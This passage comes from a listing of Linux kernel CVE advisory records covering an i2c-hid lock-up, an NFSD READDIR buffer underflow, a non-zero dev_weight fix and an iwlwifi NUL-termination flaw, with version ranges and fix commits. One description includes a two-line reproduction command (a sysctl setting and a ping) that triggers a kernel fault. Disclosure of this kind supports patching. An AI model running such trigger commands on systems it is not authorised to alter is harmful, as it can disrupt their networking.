            },
            {
              "lessThan": "29e94f295bad5be59cf4271a93e22cdcf5536722",
              "status": "affected",
              "version": "4a200c3b9a40242652b5734630bdd0bcf3aca75f",
              "versionType": "git"
            },
            {
              "lessThan": "418c5575d56410c6e186ab727bf32ae32447d497",
              "status": "affected",
              "version": "4a200c3b9a40242652b5734630bdd0bcf3aca75f",
              "versionType": "git"
            },
            {
              "lessThan": "9c0f59e47a90c54d0153f8ddc0f80d7a36207d0e",
              "status": "affected",
              "version": "4a200c3b9a40242652b5734630bdd0bcf3aca75f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/i2c-hid/i2c-hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.8"
            },
            {
              "lessThan": "3.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: i2c-hid: remove I2C_HID_READ_PENDING flag to prevent lock-up\n\nThe flag I2C_HID_READ_PENDING is used to serialize I2C operations.\nHowever, this is not necessary, because I2C core already has its own\nlocking for that.\n\nMore importantly, this flag can cause a lock-up: if the flag is set in\ni2c_hid_xfer() and an interrupt happens, the interrupt handler\n(i2c_hid_irq) will check this flag and return immediately without doing\nanything, then the interrupt handler will be invoked again in an\ninfinite loop.\n\nSince interrupt handler is an RT task, it takes over the CPU and the\nflag-clearing task never gets scheduled, thus we have a lock-up.\n\nDelete this unnecessary flag."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:18.778Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/21bfca822cfc1e71796124e93b46e0d9fa584401"
        },
        {
          "url": "https://git.kernel.org/stable/c/c448a9fd50f77e8fb9156ff64848aa4295eb3003"
        },
        {
          "url": "https://git.kernel.org/stable/c/5095b93021b899f54c9355bebf36d78854c33a22"
        },
        {
          "url": "https://git.kernel.org/stable/c/b65fb50e04a95eec34a9d1bc138454a98a5578d8"
        },
        {
          "url": "https://git.kernel.org/stable/c/0561b65fbd53d3e788c5b0222d9112ca016fd6a1"
        },
        {
          "url": "https://git.kernel.org/stable/c/29e94f295bad5be59cf4271a93e22cdcf5536722"
        },
        {
          "url": "https://git.kernel.org/stable/c/418c5575d56410c6e186ab727bf32ae32447d497"
        },
        {
          "url": "https://git.kernel.org/stable/c/9c0f59e47a90c54d0153f8ddc0f80d7a36207d0e"
        }
      ],
      "title": "HID: i2c-hid: remove I2C_HID_READ_PENDING flag to prevent lock-up",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35997",
    "datePublished": "2024-05-20T09:48:00.363Z",
    "dateReserved": "2024-05-17T13:50:33.148Z",
    "dateUpdated": "2026-05-12T11:53:32.225Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2021-47107 (GCVE-0-2021-47107)

Vulnerability from cvelistv5 – Published: 2024-03-04 18:15 – Updated: 2026-05-12 10:12

Title

NFSD: Fix READDIR buffer overflow

Summary

In the Linux kernel, the following vulnerability has been resolved: NFSD: Fix READDIR buffer overflow If a client sends a READDIR count argument that is too small (say, zero), then the buffer size calculation in the new init_dirlist helper functions results in an underflow, allowing the XDR stream functions to write beyond the actual buffer. This calculation has always been suspect. NFSD has never sanity- checked the READDIR count argument, but the old entry encoders managed the problem correctly. With the commits below, entry encoding changed, exposing the underflow to the pointer arithmetic in xdr_reserve_space(). Modern NFS clients attempt to retrieve as much data as possible for each READDIR request. Also, we have no unit tests that exercise the behavior of READDIR at the lower bound of @count values. Thus this case was missed during testing.

Severity ?

No CVSS data available.

Assigner

Linux

References

3 references

URL	Tags
https://git.kernel.org/stable/c/9e291a6a28d32545e…
https://git.kernel.org/stable/c/eabc0aab98e5218ce…
https://git.kernel.org/stable/c/53b1119a6e5028b12…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 37aa5e64022243e721b8334122997881177a4cfc , < 9e291a6a28d32545ed2fd959a8165144d1724df1 (git) Affected: 7f87fc2d34d475225e78b7f5c4eabb121f4282b2 , < eabc0aab98e5218ceecd82069b0d6fdfff5ee885 (git) Affected: 7f87fc2d34d475225e78b7f5c4eabb121f4282b2 , < 53b1119a6e5028b125f431a0116ba73510d82a72 (git)
Linux	Linux	Affected: 5.13 Unaffected: 0 , < 5.13 (semver) Unaffected: 5.15.12 , ≤ 5.15.* (semver) Unaffected: 5.16 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2021-47107",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-24T14:23:20.067017Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-24T14:23:30.968Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T05:24:39.886Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9e291a6a28d32545ed2fd959a8165144d1724df1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eabc0aab98e5218ceecd82069b0d6fdfff5ee885"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/53b1119a6e5028b125f431a0116ba73510d82a72"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:22.406Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs3proc.c",
            "fs/nfsd/nfsproc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "9e291a6a28d32545ed2fd959a8165144d1724df1",
              "status": "affected",
              "version": "37aa5e64022243e721b8334122997881177a4cfc",
              "versionType": "git"
            },
            {
              "lessThan": "eabc0aab98e5218ceecd82069b0d6fdfff5ee885",
              "status": "affected",
              "version": "7f87fc2d34d475225e78b7f5c4eabb121f4282b2",
              "versionType": "git"
            },
            {
              "lessThan": "53b1119a6e5028b125f431a0116ba73510d82a72",
              "status": "affected",
              "version": "7f87fc2d34d475225e78b7f5c4eabb121f4282b2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs3proc.c",
            "fs/nfsd/nfsproc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.13"
            },
            {
              "lessThan": "5.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.16",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.12",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Fix READDIR buffer overflow\n\nIf a client sends a READDIR count argument that is too small (say,\nzero), then the buffer size calculation in the new init_dirlist\nhelper functions results in an underflow, allowing the XDR stream\nfunctions to write beyond the actual buffer.\n\nThis calculation has always been suspect. NFSD has never sanity-\nchecked the READDIR count argument, but the old entry encoders\nmanaged the problem correctly.\n\nWith the commits below, entry encoding changed, exposing the\nunderflow to the pointer arithmetic in xdr_reserve_space().\n\nModern NFS clients attempt to retrieve as much data as possible\nfor each READDIR request. Also, we have no unit tests that\nexercise the behavior of READDIR at the lower bound of @count\nvalues. Thus this case was missed during testing."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T13:48:11.967Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/9e291a6a28d32545ed2fd959a8165144d1724df1"
        },
        {
          "url": "https://git.kernel.org/stable/c/eabc0aab98e5218ceecd82069b0d6fdfff5ee885"
        },
        {
          "url": "https://git.kernel.org/stable/c/53b1119a6e5028b125f431a0116ba73510d82a72"
        }
      ],
      "title": "NFSD: Fix READDIR buffer overflow",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2021-47107",
    "datePublished": "2024-03-04T18:15:38.706Z",
    "dateReserved": "2024-03-04T18:12:48.835Z",
    "dateUpdated": "2026-05-12T10:12:22.406Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21806 (GCVE-0-2025-21806)

Vulnerability from cvelistv5 – Published: 2025-02-27 20:00 – Updated: 2026-05-12 12:03

Title

net: let net.core.dev_weight always be non-zero

Summary

In the Linux kernel, the following vulnerability has been resolved: net: let net.core.dev_weight always be non-zero The following problem was encountered during stability test: (NULL net_device): NAPI poll function process_backlog+0x0/0x530 \ returned 1, exceeding its budget of 0. ------------[ cut here ]------------ list_add double add: new=ffff88905f746f48, prev=ffff88905f746f48, \ next=ffff88905f746e40. WARNING: CPU: 18 PID: 5462 at lib/list_debug.c:35 \ __list_add_valid_or_report+0xf3/0x130 CPU: 18 UID: 0 PID: 5462 Comm: ping Kdump: loaded Not tainted 6.13.0-rc7+ RIP: 0010:__list_add_valid_or_report+0xf3/0x130 Call Trace: ? __warn+0xcd/0x250 ? __list_add_valid_or_report+0xf3/0x130 enqueue_to_backlog+0x923/0x1070 netif_rx_internal+0x92/0x2b0 __netif_rx+0x15/0x170 loopback_xmit+0x2ef/0x450 dev_hard_start_xmit+0x103/0x490 __dev_queue_xmit+0xeac/0x1950 ip_finish_output2+0x6cc/0x1620 ip_output+0x161/0x270 ip_push_pending_frames+0x155/0x1a0 raw_sendmsg+0xe13/0x1550 __sys_sendto+0x3bf/0x4e0 __x64_sys_sendto+0xdc/0x1b0 do_syscall_64+0x5b/0x170 entry_SYSCALL_64_after_hwframe+0x76/0x7e The reproduction command is as follows: sysctl -w net.core.dev_weight=0 ping 127.0.0.1 This is because when the napi's weight is set to 0, process_backlog() may return 0 and clear the NAPI_STATE_SCHED bit of napi->state, causing this napi to be re-polled in net_rx_action() until __do_softirq() times out. Since the NAPI_STATE_SCHED bit has been cleared, napi_schedule_rps() can be retriggered in enqueue_to_backlog(), causing this issue. Making the napi's weight always non-zero solves this problem. Triggering this issue requires system-wide admin (setting is not namespaced).

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d0e0f9c8218826926…
https://git.kernel.org/stable/c/c337c08819a4ec49e…
https://git.kernel.org/stable/c/0e2f1d93d287d544d…
https://git.kernel.org/stable/c/5860abbf15eeb6183…
https://git.kernel.org/stable/c/6ce38b5a6a49e65ba…
https://git.kernel.org/stable/c/33e2168788f8fb5cb…
https://git.kernel.org/stable/c/1489824e5226a2684…
https://git.kernel.org/stable/c/d1f9f79fa2af8e3b4…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e3876605450979fe52a1a03e7eb78a89bf59e76a , < d0e0f9c8218826926d7692980c98236d9f21fd3c (git) Affected: e3876605450979fe52a1a03e7eb78a89bf59e76a , < c337c08819a4ec49edfdcd8fc46fbee120d8a5b2 (git) Affected: e3876605450979fe52a1a03e7eb78a89bf59e76a , < 0e2f1d93d287d544d26f8ff293ea820a8079b9f8 (git) Affected: e3876605450979fe52a1a03e7eb78a89bf59e76a , < 5860abbf15eeb61838b5e32e721ba67b0aa84450 (git) Affected: e3876605450979fe52a1a03e7eb78a89bf59e76a , < 6ce38b5a6a49e65bad163162a54cb3f104c40b48 (git) Affected: e3876605450979fe52a1a03e7eb78a89bf59e76a , < 33e2168788f8fb5cb8bd4f36cb1ef37d1d34dada (git) Affected: e3876605450979fe52a1a03e7eb78a89bf59e76a , < 1489824e5226a26841c70639ebd2d1aed390764b (git) Affected: e3876605450979fe52a1a03e7eb78a89bf59e76a , < d1f9f79fa2af8e3b45cffdeef66e05833480148a (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:59:45.883Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:57.348Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/sysctl_net_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d0e0f9c8218826926d7692980c98236d9f21fd3c",
              "status": "affected",
              "version": "e3876605450979fe52a1a03e7eb78a89bf59e76a",
              "versionType": "git"
            },
            {
              "lessThan": "c337c08819a4ec49edfdcd8fc46fbee120d8a5b2",
              "status": "affected",
              "version": "e3876605450979fe52a1a03e7eb78a89bf59e76a",
              "versionType": "git"
            },
            {
              "lessThan": "0e2f1d93d287d544d26f8ff293ea820a8079b9f8",
              "status": "affected",
              "version": "e3876605450979fe52a1a03e7eb78a89bf59e76a",
              "versionType": "git"
            },
            {
              "lessThan": "5860abbf15eeb61838b5e32e721ba67b0aa84450",
              "status": "affected",
              "version": "e3876605450979fe52a1a03e7eb78a89bf59e76a",
              "versionType": "git"
            },
            {
              "lessThan": "6ce38b5a6a49e65bad163162a54cb3f104c40b48",
              "status": "affected",
              "version": "e3876605450979fe52a1a03e7eb78a89bf59e76a",
              "versionType": "git"
            },
            {
              "lessThan": "33e2168788f8fb5cb8bd4f36cb1ef37d1d34dada",
              "status": "affected",
              "version": "e3876605450979fe52a1a03e7eb78a89bf59e76a",
              "versionType": "git"
            },
            {
              "lessThan": "1489824e5226a26841c70639ebd2d1aed390764b",
              "status": "affected",
              "version": "e3876605450979fe52a1a03e7eb78a89bf59e76a",
              "versionType": "git"
            },
            {
              "lessThan": "d1f9f79fa2af8e3b45cffdeef66e05833480148a",
              "status": "affected",
              "version": "e3876605450979fe52a1a03e7eb78a89bf59e76a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/sysctl_net_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: let net.core.dev_weight always be non-zero\n\nThe following problem was encountered during stability test:\n\n(NULL net_device): NAPI poll function process_backlog+0x0/0x530 \\\n\treturned 1, exceeding its budget of 0.\n------------[ cut here ]------------\nlist_add double add: new=ffff88905f746f48, prev=ffff88905f746f48, \\\n\tnext=ffff88905f746e40.\nWARNING: CPU: 18 PID: 5462 at lib/list_debug.c:35 \\\n\t__list_add_valid_or_report+0xf3/0x130\nCPU: 18 UID: 0 PID: 5462 Comm: ping Kdump: loaded Not tainted 6.13.0-rc7+\nRIP: 0010:__list_add_valid_or_report+0xf3/0x130\nCall Trace:\n? __warn+0xcd/0x250\n? __list_add_valid_or_report+0xf3/0x130\nenqueue_to_backlog+0x923/0x1070\nnetif_rx_internal+0x92/0x2b0\n__netif_rx+0x15/0x170\nloopback_xmit+0x2ef/0x450\ndev_hard_start_xmit+0x103/0x490\n__dev_queue_xmit+0xeac/0x1950\nip_finish_output2+0x6cc/0x1620\nip_output+0x161/0x270\nip_push_pending_frames+0x155/0x1a0\nraw_sendmsg+0xe13/0x1550\n__sys_sendto+0x3bf/0x4e0\n__x64_sys_sendto+0xdc/0x1b0\ndo_syscall_64+0x5b/0x170\nentry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nThe reproduction command is as follows:\n  sysctl -w net.core.dev_weight=0\n  ping 127.0.0.1\n\nThis is because when the napi\u0027s weight is set to 0, process_backlog() may\nreturn 0 and clear the NAPI_STATE_SCHED bit of napi-\u003estate, causing this\nnapi to be re-polled in net_rx_action() until __do_softirq() times out.\nSince the NAPI_STATE_SCHED bit has been cleared, napi_schedule_rps() can\nbe retriggered in enqueue_to_backlog(), causing this issue.\n\nMaking the napi\u0027s weight always non-zero solves this problem.\n\nTriggering this issue requires system-wide admin (setting is\nnot namespaced)."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:06:53.699Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d0e0f9c8218826926d7692980c98236d9f21fd3c"
        },
        {
          "url": "https://git.kernel.org/stable/c/c337c08819a4ec49edfdcd8fc46fbee120d8a5b2"
        },
        {
          "url": "https://git.kernel.org/stable/c/0e2f1d93d287d544d26f8ff293ea820a8079b9f8"
        },
        {
          "url": "https://git.kernel.org/stable/c/5860abbf15eeb61838b5e32e721ba67b0aa84450"
        },
        {
          "url": "https://git.kernel.org/stable/c/6ce38b5a6a49e65bad163162a54cb3f104c40b48"
        },
        {
          "url": "https://git.kernel.org/stable/c/33e2168788f8fb5cb8bd4f36cb1ef37d1d34dada"
        },
        {
          "url": "https://git.kernel.org/stable/c/1489824e5226a26841c70639ebd2d1aed390764b"
        },
        {
          "url": "https://git.kernel.org/stable/c/d1f9f79fa2af8e3b45cffdeef66e05833480148a"
        }
      ],
      "title": "net: let net.core.dev_weight always be non-zero",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21806",
    "datePublished": "2025-02-27T20:00:58.918Z",
    "dateReserved": "2024-12-29T08:45:45.771Z",
    "dateUpdated": "2026-05-12T12:03:57.348Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35845 (GCVE-0-2024-35845)

Vulnerability from cvelistv5 – Published: 2024-05-17 14:40 – Updated: 2026-05-12 11:52

Title

wifi: iwlwifi: dbg-tlv: ensure NUL termination

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: dbg-tlv: ensure NUL termination The iwl_fw_ini_debug_info_tlv is used as a string, so we must ensure the string is terminated correctly before using it.

Severity ?

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

CWE

CWE-134 - Use of Externally-Controlled Format String

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/fabe2db7de32a881e…
https://git.kernel.org/stable/c/96aa40761673da045…
https://git.kernel.org/stable/c/c855a1a5b7e3de57e…
https://git.kernel.org/stable/c/783d413f332a3ebec…
https://git.kernel.org/stable/c/fec14d1cdd92f340b…
https://git.kernel.org/stable/c/71d4186d470e9cda7…
https://git.kernel.org/stable/c/ea1d166fae14e05d4…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a9248de42464e546b624e3fc6a8b04b991af3591 , < fabe2db7de32a881e437ee69db32e0de785a6209 (git) Affected: a9248de42464e546b624e3fc6a8b04b991af3591 , < 96aa40761673da045a7774f874487cdb50c6a2f7 (git) Affected: a9248de42464e546b624e3fc6a8b04b991af3591 , < c855a1a5b7e3de57e6b1b29563113d5e3bfdb89a (git) Affected: a9248de42464e546b624e3fc6a8b04b991af3591 , < 783d413f332a3ebec916664b366c28f58147f82c (git) Affected: a9248de42464e546b624e3fc6a8b04b991af3591 , < fec14d1cdd92f340b9ba2bd220abf96f9609f2a9 (git) Affected: a9248de42464e546b624e3fc6a8b04b991af3591 , < 71d4186d470e9cda7cd1a0921b4afda737c6f641 (git) Affected: a9248de42464e546b624e3fc6a8b04b991af3591 , < ea1d166fae14e05d49ffb0ea9fcd4658f8d3dcea (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
